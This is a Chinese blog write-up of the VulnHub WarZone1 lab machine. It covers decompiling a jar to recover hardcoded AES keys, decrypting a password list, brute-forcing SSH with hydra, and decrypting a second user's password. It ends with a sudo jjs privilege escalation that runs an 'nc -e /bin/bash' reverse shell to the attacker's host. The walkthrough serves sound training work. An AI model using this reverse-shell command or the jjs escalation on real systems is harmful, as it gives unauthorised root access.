反编译jar-jjs提权:WarZone1靶机

admin 2024年3月25日08:44:30评论7 views字数 5424阅读18分4秒阅读模式

总结:这个靶机的有个知识点很不错,在对jar文件反编译后,重新改写了java源码,得到密码字典,ssh爆破后登录进入第一个用户commando;欲获取第二个用户captain的密码时,通过history发现逻辑过程,并写出解密py取得进入第二个用户;提权时发现jjs命令存在,用nc监听后java反弹命令执行成功。对我来说,亮点是:jar反编译后导入eclipse里修改少部分java源码,这块以前没搞过,这次是按图索骥地完成了,算是补上了一课。

一、靶机下载地址:https://download.vulnhub.com/warzone/Warzone.ova

二、开始工作

1、扫描

反编译jar-jjs提权:WarZone1靶机

2、ftp匿名登录;有两个文件,当下来,

反编译jar-jjs提权:WarZone1靶机

打开note.txt,是个提示:

反编译jar-jjs提权:WarZone1靶机

另一个文件是jar包,执行后如下,还是拖到win下分析。

反编译jar-jjs提权:WarZone1靶机

3、jadx载入,看应该是个AES类型的加密,

反编译jar-jjs提权:WarZone1靶机

4、5000端口的httpd页面,栅栏加密,

反编译jar-jjs提权:WarZone1靶机

查看网页的源代码,放入GPT解释下,

反编译jar-jjs提权:WarZone1靶机

得出是栅栏密码,意思就是从上到下,从左到右顺序读取密文;

在源代码的最下面,有个注释,

反编译jar-jjs提权:WarZone1靶机

按照解题的“逻辑”这应该是加密后的栅栏密码,

那就放入解密的网站解下http://www.atoolbox.net/Tool.php?Id=777,

反编译jar-jjs提权:WarZone1靶机

5、放入url中访问,得到一个用户名和密码表,

反编译jar-jjs提权:WarZone1靶机

username password
paratrooper GJSFBy6jihz/GbfaeOiXwtqgHe1QutGVVFlyDXbxVRo=
specops mnKbQSV2k9UzJeTnJhoAyy4TqEryPw6ouANzIZMXF6Y=
specforce jiYMm39vW9pTr+6Z/6SafQ==
aquaman v9yjWjP7tKHLyt6ZCw5sxtktXIYm5ynlHmx+ZCI4OT4=
commander 2czKTfl/n519Kw5Ze7mVy4BsdzdzCbpRY8+BQxqnsYg=
commando +uj9HGdnyJvkBagdB1i26M9QzsxKHUI0EFMhhfaqt2A=
pathfinder eTQiiMXzrM4MkSItWUegd1rZ/pOIU0JyWlLNw2oW6oo=
ranger LBN5Syc7D7Bdj7utCbmBiT7pXU+bISYj33Qzf4CmIDs=

三、修改jar,解密AES

1、jadx-gui打开warzone-encrypt.jar

反编译jar-jjs提权:WarZone1靶机

将内容全部保存;

2、eclipser打开刚才保存的源码进行修改,

(1)Main.java:

package encrypt;

import java.util.Base64;

import java.util.Scanner;

import Other.Obfuscated;

import crypto.AES;

public class Main {

    public static String decrypt(String encryptpasswd) {

        Obfuscated obs = new Obfuscated();

        AES ea = new AES(obs.getIV(), 128, obs.getKey());

        try {

            ea.cipher.init(2, ea.key, ea.iv);

            byte[] encryptbytes = Base64.getDecoder().decode(encryptpasswd);

            byte[] decryptbytes = ea.cipher.doFinal(encryptbytes);

            return new String(decryptbytes);

        } catch (Exception ex) {

            throw new RuntimeException(ex.getMessage());

        }

    }

    public static void main(String[] args) {

        while (true) {

            Scanner in = new Scanner(System.in);

            System.out.print("enter the encryptpassword to decrypt : ");

            String encryptpassword = in.nextLine();

            System.out.println("password : " + decrypt(encryptpassword));

        }

    }

}

(2)AES.java:

package crypto;

import Other.Obfuscated;

import java.security.Key;

import java.security.MessageDigest;

import java.util.Base64;

import javax.crypto.Cipher;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

public class AES {

  public static final IvParameterSpec DEFAULT_IV = new IvParameterSpec(new byte[19]);

  public static final String ALGORITHM = "AES";

  public static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";

  public Key key;

  public IvParameterSpec iv;

  public Cipher cipher;

  public AES(String key) {

    this(key, 128);  }

  public AES(String key, int bit) {

    this(key, bit, null);  }

  public AES(String key, int bit, String iv) {

    if (bit == 256) {

      this.key = new SecretKeySpec(getHash("SHA-256", key), "AES");

    } else {

      this.key = new SecretKeySpec(getHash("MD5", key), "AES");    } 

    if (iv != null) {

      this.iv = new IvParameterSpec(getHash("MD5", iv));

    } else {      this.iv = DEFAULT_IV;    } 

    init();

  }

  public static byte[] getHash(String algorithm, String text) {

    try {

      return getHash(algorithm, text.getBytes("UTF-8"));

    } catch (Exception ex) {      throw new RuntimeException(ex.getMessage());    } 

  }

  public static byte[] getHash(String algorithm, byte[] data) {

    try {

      MessageDigest digest = MessageDigest.getInstance(algorithm);

      digest.update(data);

      return digest.digest();

    } catch (Exception ex) {      throw new RuntimeException(ex.getMessage());    } 

  }

  public void init() {

    try {      this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");

    } catch (Exception ex) {      throw new RuntimeException(ex.getMessage());    } 

  }

  public String encrypt(String str) {

    try {      return encrypt(str.getBytes("UTF-8"));

    } catch (Exception ex) {      throw new RuntimeException(ex.getMessage());    } 

  }

  public String encrypt(byte[] data) {

    try {

      this.cipher.init(1, this.key, this.iv);

      byte[] encryptData = this.cipher.doFinal(data);

      return new String(Base64.getEncoder().encode(encryptData));

    } catch (Exception ex) {      throw new RuntimeException(ex.getMessage());    } 

  }

  public static String encryptString(String content) {

    Obfuscated obs = new Obfuscated();

    AES ea = new AES(obs.getIV(), 128, obs.getKey());

    return ea.encrypt(content);

  }

}

(3)Obfuscated.java:

package Other;

public class Obfuscated {

  public String getIV() {    return "w4rz0n3s3cur31vv";  }

 public String getKey() {    return "w4rz0n3s3cur3k3y";  }

}

3、运行下,输入刚才的密码,进行解密,

反编译jar-jjs提权:WarZone1靶机

将上面的用户名保存为username.txt,将解密的密码保存在password.txt;

四、破解ssh

1、利用hydra破解

反编译jar-jjs提权:WarZone1靶机

得出用户名commando和密码c0mmandosArentRea1.!

2、ssh登录第一个用户commando

反编译jar-jjs提权:WarZone1靶机

3、history记录

反编译jar-jjs提权:WarZone1靶机

4、查看user.txt文件,没权限

反编译jar-jjs提权:WarZone1靶机

在history里发现有个.crypt

反编译jar-jjs提权:WarZone1靶机

进入后,查看readme,提醒密码就在这里,还有一段加密程序encrypt.py,

反编译jar-jjs提权:WarZone1靶机

5、再解密

(1)encrypt.py内容为:

反编译jar-jjs提权:WarZone1靶机

这里要注意,在代码里 password ='<remove for security reason>',这句话的意思是“因安全原因移除密码”,所以这里的密码隐藏起来了。

这里还有个script.sh文件,看下内容:

#!/bin/bash

python3 encrypt.py > /home/captain/Desktop/.crypt/.c

在history中有这个记录,说明执行过了,那就是将encrypt.py的加密后的结果放入.c这个文件中,反过来,我们可以通过.c这个密文来逆向出原始密码是多少。

(2)cat .c

b'c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw=='

(3)写个解密程序,

在攻击机中写个解密程序,如下:

#!/usr/bin/python3

from simplecrypt import encrypt, decrypt

import os

import base64

key = 'sekret'

text = base64.b64decode('c2MAAk1Y/hAsEsn+FasElyXvGSI0JxD+n/SCtXbHNM+1/YEU54DO0EQRDfD3wz/lrbkXEBJJJd1ylXZpi/2dopaklmG6NCAXfGKl1eWAUNU1Iw==')

passwd = decrypt(key, text)

print(passwd)

运行下,得出原始密码为:b'_us3rz0ne_F1RE'

反编译jar-jjs提权:WarZone1靶机

五、切换第二个用户captain

(1)su captain

输入密码_us3rz0ne_F1RE,打开不能打开的文件user.txt,

反编译jar-jjs提权:WarZone1靶机

获取了第1个flag。

六、jjs提权

(1)sudo -l

反编译jar-jjs提权:WarZone1靶机

查下GPT的解释

反编译jar-jjs提权:WarZone1靶机

jjs是让javascript可以调用java,可以执行特权命令

(2)反弹

在攻击机中监听,

nc -lvvp 8999

在靶机中执行,

echo "Java.type('java.lang.Runtime').getRuntime().exec('/usr/bin/nc -e /bin/bash 192.168.137.128 8999')"|sudo jjs

反编译jar-jjs提权:WarZone1靶机

当出现jjs>>这样的标识时,到攻击机中查看,

反编译jar-jjs提权:WarZone1靶机

说明成功地反弹了,至此,获取了第2个flag。结束!!

感想:发现这段时间,大家对靶机的兴趣不是很大,阅读量较少,我也能理解。但就我这段时间的学习效果来看,收获还是蛮大的,拓宽了我的知识面,增长了我的见识;能成为靶机,都是有闪光点的,希望大家能够跟我一起学习成长。

原文始发于微信公众号(MicroPest):反编译jar-jjs提权:WarZone1靶机

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日08:44:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反编译jar-jjs提权:WarZone1靶机http://cn-sec.com/archives/2600588.html

发表评论

匿名网友 填写信息